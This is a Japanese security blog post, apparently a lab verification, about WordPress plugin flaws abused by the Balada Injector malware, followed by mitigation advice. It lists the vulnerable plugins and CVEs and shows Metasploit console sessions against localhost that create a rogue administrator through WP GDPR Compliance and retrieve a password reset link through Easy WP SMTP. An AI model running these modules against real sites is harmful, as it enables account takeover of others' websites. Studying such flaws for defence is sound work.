このブログは、応用数理と仲良くなれないアルバイトのseigo2016が書いています。 あるもりすぶろぐの内容は個人の意見です。
はじめに
検証には自身で管理する環境を使用し、自己責任でお願いします。また、この情報を悪用することは絶対に行わないでください。
今回は「Balada Injector」と呼ばれるマルウェアが悪用しているWordPressのプラグインの脆弱性についての検証を行います。
概要
「Balada Injector」は、WordPressサイトを標的とした大規模なサイバー攻撃のキャンペーンに使用されているマルウェアです。
このキャンペーンは2017年より展開されており、100万を超えるWordPress Webサイトが感染したと推定されています*1。
このマルウェアは、WordPressのプラグインやテーマに存在する様々な脆弱性を悪用してサイトを侵害します。
その後、管理者ユーザーを生成するほか、バックドアを残すとされています。
マルウェアに悪用されている脆弱性が存在するWordPressのプラグインは以下のとおりです。
- WP Live Chat Support Plugin
- WordPress – Yuzo Related Posts
- Yellow Pencil Visual Theme Customizer Plugin
- WP GDPR Compliance Plugin
- Newspaper Theme on WordPress Access Control
- Thim Core
- Google Code Inserter
- Total Donations Plugin
- Post Custom Templates Lite
- WP Quick Booking Manager
- Faceboor Live Chat by Zotabox
- Blog Designer WordPress Plugin
- WordPress Ultimate FAQ
- WP-Matomo Integration (WP-Piwik)
- WordPress ND Shortcodes For Visual Composer
- Coming Soon Page and Maintenance Mode
- Hybrid
- Brizy WordPress Plugin
- FV Flowplayer Video Player
- WooCommerce
- WordPress theme OneTone
- Simple Fields WordPress Plugin
- WordPress Delucks SEO plugin
- Poll, Survey, Form & Quiz Maker by OpinionStage
- Social Metrics Tracker
- WPeMatico RSS Feed Fetcher
- Rich Reviews plugin
- Newspaper and other old tagDiv Themes
- Education WP (Eduma)
- Social Warfare
- Easy WP SMTP
- Elementor Pro
導入できたプラグイン & 脆弱性概要一覧
今回は、現在も該当バージョンがダウンロードできる下記のプラグインのうち、Balada Injector が悪用する脆弱性のなかでも、アカウントの乗っ取りや権限昇格が可能なEasy WP SMTPとWP GDPR Compliance PluginをMetasploitを用いて検証します。
プラグイン名 | バージョン | CVE | 概要 | 参考URL |
---|---|---|---|---|
Blog Designer WordPress Plugin | < 3.3 | CVE-2022-4792 | ||
Brizy WordPress Plugin | <2.3.12 | CVE-2021-38346 | 認証済みユーザーがAjax actionを利用して、任意の場所に実行可能ファイルをアップロードできる | https://nvd.nist.gov/vuln/detail/CVE-2021-38346 |
Easy WP SMTP | < 1.4.2 | プラグインフォルダにindex.htmlが含まれておらず、ディレクトリのリストを取得できる可能性がある。デバッグモードが有効な場合、アカウントのパスワードリセットをリクエストしたあと、デバッグファイルを表示してリンクを特定し、パスワードをリセットできる | https://www.rapid7.com/db/modules/auxiliary/scanner/http/wp_easy_wp_smtp/ | |
WordPress ND Shortcodes For Visual Composer | 5.8 | CVE-2019-15771 | 未認証のユーザーが権限昇格によって設定を変更したり、アカウントを乗っ取ることが可能 | |
Poll, Survey, Form & Quiz Maker by OpinionStage | <= 19.6.25 | 未ログインのユーザーによるXSSの脆弱性が存在 | https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-poll-survey-form-quiz-maker-by-opinionstage-cross-site-scripting-19-6-24/ | |
WordPress Ultimate FAQ | <1.8.24 | CVE-2019-17232/CVE-2019-17233 | 未認証のユーザーがEWD_UFAQ_Import_From_Spreadsheet 関数を通して投稿をインポートし、新しい投稿を作成できる |
https://blog.nintechnet.com/unauthenticated-options-import-vulnerability-in-wordpress-ultimate-faq-plugin/ |
WP GDPR Compliance Plugin | <1.4.2 | CVE-2018-19207 | update_option 関数で権限確認をしておらず、WordPressの設定を外部からログインなしに変更でき、特権昇格などに繋がる |
https://blog.tokumaru.org/2018/12/wp-gdpr-compliance-cve-2018-19207.html |
Coming Soon Page and Maintenance Mode | < 2.4.5 | CVE-2022-1576 | subscribed users listを空にする際のCSRFトークンが無いため、ログインしている管理者にCSRF攻撃が可能 | https://wpscan.com/vulnerability/68deab46-1c16-46ae-a912-a104958ca4cf |
WP-Matomo Integration (WP-Piwik) | <= 1.0.4 | CVE-2015-9405 | XSSの脆弱性が存在 | |
WPeMatico RSS Feed Fetcher | 2.6.12 | CVE-2021-24793 | 追加されたFeed URLを適切にエスケープしないため、高い権限を持つユーザーによるXSSの脆弱性が存在 | https://wpscan.com/vulnerability/eeedbb3b-ae10-4472-a1d3-f196f95b9d96 |
WP Live Chat Support Plugin | <8.0.27 | CVE-2019-14950 | GDPRページを通じたXSSの脆弱性が存在 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24793 |
Metasploitによる検証
Metasploitとは、OSSのペネトレーションテストを行うためのソフトウェアです。
今回は、既存の攻撃モジュールのscanner/http/wordpress_scanner
、auxiliary/scanner/http/wp_easy_wp_smtp
及びauxiliary/admin/http/wp_gdpr_compliance_prives
を利用して検証します。
Metasploitの起動
今回は、WSL2のKaliLinuxでMetasploitを起動しています。
実行すると、コマンド入力画面が表示されます。
└─$ ./msfconsole .;lxO0KXXXK0Oxl:. ,o0WMMMMMMMMMMMMMMMMMMKd, 'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx, :KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK: .KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX, lWMMMMMMMMMMMXd:.. ..;dKMMMMMMMMMMMMo xMMMMMMMMMMWd. .oNMMMMMMMMMMk oMMMMMMMMMMx. dMMMMMMMMMMx .WMMMMMMMMM: :MMMMMMMMMM, xMMMMMMMMMo lMMMMMMMMMO NMMMMMMMMW ,cccccoMMMMMMMMMWlccccc; MMMMMMMMMX ;KMMMMMMMMMMMMMMMMMMX: NMMMMMMMMW. ;KMMMMMMMMMMMMMMX: xMMMMMMMMMd ,0MMMMMMMMMMK; .WMMMMMMMMMc 'OMMMMMM0, lMMMMMMMMMMk. .kMMO' dMMMMMMMMMMWd' .. cWMMMMMMMMMMMNxc'. ########## .0MMMMMMMMMMMMMMMMWc #+# #+# ;0MMMMMMMMMMMMMMMo. +:+ .dNMMMMMMMMMMMMo +#++:++#+ 'oOWMMMMMMMMo +:+ .,cdkO0K; :+: :+: :::::::+: Metasploit =[ metasploit v6.3.15-dev-601d9cef96 ] + -- --=[ 2311 exploits - 1206 auxiliary - 412 post ] + -- --=[ 972 payloads - 46 encoders - 11 nops ] + -- --=[ 9 evasion ] Metasploit tip: You can pivot connections over sessions started with the ssh_login modules Metasploit Documentation: https://docs.metasploit.com/ msf6 >
scanner/http/wordpress_scanner
まず、Auxiliaryモジュールのscanner/http/wordpress_scanner
を利用します。
これは、Metasploitにモジュールがある脆弱性を持つテーマやプラグインをスキャンし、情報を収集するのためのモジュールです。
ホストとポートを指定した後、実行します。
msf6 > use scanner/http/wordpress_scanner msf6 auxiliary(scanner/http/wordpress_scanner) > set rhosts localhost rhosts => localhost msf6 auxiliary(scanner/http/wordpress_scanner) > set rport 8000 rport => 8000 msf6 auxiliary(scanner/http/wordpress_scanner) > exploit [*] Trying 127.0.0.1 [+] 127.0.0.1 - Detected Wordpress 5.4 [*] 127.0.0.1 - Enumerating Themes [*] 127.0.0.1 - Progress 0/2 (0.0%) [*] 127.0.0.1 - Finished scanning themes [*] 127.0.0.1 - Enumerating plugins [*] 127.0.0.1 - Progress 0/59 (0.0%) [+] 127.0.0.1 - Detected plugin: wp-gdpr-compliance version 1.4.2 [+] 127.0.0.1 - Detected plugin: easy-wp-smtp version 1.4.1 [*] 127.0.0.1 - Finished scanning plugins [*] 127.0.0.1 - Searching Users [*] 127.0.0.1 - Was not able to identify users on site using /wp-json/wp/v2/users [*] 127.0.0.1 - Finished all scans [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
wp-gdpr-compliance
とeasy-wp-smtp
が検知されました。
auxiliary/admin/http/wp_gdpr_compliance_privesc
では、次にwp_gdpr_compliance_privesc
の攻撃モジュールを使用して、WP GDPR Compliance Pluginの検証を行います。
WP GDPR Compliance Pluginの1.4.2以下のバージョンは、プラグインのアクションが呼び出されたときに権限確認を行わないため、WordPressの設定を外部からログインなしに変更でき、特権昇格などに繋がる脆弱性が存在します。
このモジュールは、新規ユーザーを登録し、デフォルトの役割を管理者に変更します。
ホスト名とポート、登録する新規ユーザーのメールアドレスと指定した後、実行します。
msf6 auxiliary(admin/http/wp_gdpr_compliance_privesc) > set email test@example.com email => test@example.com msf6 auxiliary(admin/http/wp_gdpr_compliance_privesc) > check [*] 127.0.0.1:8000 - The target appears to be vulnerable. msf6 auxiliary(admin/http/wp_gdpr_compliance_privesc) > exploit [*] Running module against 127.0.0.1 [*] Getting security token from host... [!] Enabling user registrations... [!] Setting the default user role type to administrator... [*] Registering msfuser with email test@example.com [*] Auxiliary module execution completed
完了後にアカウント欄を確認すると、指定したメールアドレスの管理者アカウントが作成されていることがわかります。
auxiliary/scanner/http/wp_easy_wp_smtp
続いて、auxiliary/scanner/http/wp_easy_wp_smtp
モジュールを用いてEasy WP SMTPプラグインの検証を行います。
Easy WP SMTPプラグインの1.4.2より古いバージョンでは、プラグインフォルダにindex.htmlが含まれておらず、ディレクトリのリストを取得できます。
Easy WP SMTPのデバッグモードが有効な場合、攻撃者はアカウントのパスワードリセットをリクエストした後、デバッグファイルを表示してリンクを特定し、パスワードをリセットできます。
このモジュールは、アカウントのパスワードリセットをリクエストし、デバッグファイル内のリセットリンクを出力します。
ホスト名・ポートと、リセットを掛けるユーザー名を指定し、実行します。
msf6 auxiliary(admin/http/wp_gdpr_compliance_privesc) > use scanner/http/wp_easy_wp_smtp msf6 auxiliary(scanner/http/wp_easy_wp_smtp) > set user admin user => admin msf6 auxiliary(scanner/http/wp_easy_wp_smtp) > exploit [+] Vulnerable version of Easy WP SMTP detected [*] Checking for debug_log file [+] Found debug log: /wp-content/plugins/easy-wp-smtp/6482ea6514aff_debug_log.txt [*] Sending password reset for admin [+] Debug log saved to /home/****/.msf4/loot/20230609202045_default_127.0.0.1_6482ea6514aff_de_123999.txt. Manual review for possible SMTP password, and other information. [*] Finished enumerating resets. Last one most likely to succeed [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
表示されたデバッグログのファイルを確認すると、取得したリセットリンクが表示されます。
対策
セキュリティ対策プラグインや設定の追記によって攻撃の防止や緩和が可能です。
セキュリティ対策プラグインの利用
SiteGuard WP Plugin*2 / XO Security*3、User Login History*4などの、セキュリティ対策プラグインを導入することで、簡単にセキュリティを高めることができます。 具体的な機能として、ログイン履歴の記録やログインアラート(メール通知)や2段階認証を有効にすることで、不正なログインに気づきやすくなるほか、不正なログイン自体も防ぐ事が可能です。
functions.phpへの設定の追記
プラグインの導入を避けたい場合は、下記のようにfunctions.phpに追記することでログイン時にメール通知することも可能です。
add_action('wp_login', 'alert', 10, 2); function alert($user_login , $current_user) { // ログイン時の処理(メール通知する処理) }
また、wp_send_new_user_notification_to_admin
フィルターが常にtrueを返すようにすることで、新規アカウント作成時に管理者のメールアドレスに通知が来るようになります。
管理者ページのURLの変更
WordPressのログインページであるwp-loginやwp-adminのURLを推測されにくいものに変更し、隠すことで、アカウント登録を防ぐ緩和策となります。
最後に
マルウェアBalada Injectorは、2018年に報告されたものから2022年に報告されたものまで、幅広い期間かつ様々なプラグインやテーマの脆弱性を対象としています。そのため、今後も対象の脆弱性が増えていく可能性があります。
プラグインのアップデート情報を確認し、アップデートがある場合は検証した上で速やかに更新しましょう。
また、プラグインやテーマの設定は適切に行い、不用意にデバッグログや非公開ページが表示されていないか確認するとよいと思います。
その他にも、セキュリティ対策プラグインなどを利用することで、認証ログを記録し、ログインアラートを送信するように設定することができます。
検証には自身で管理する環境を使用し、自己責任でお願いします。また、この情報を悪用することは絶対に行わないでください。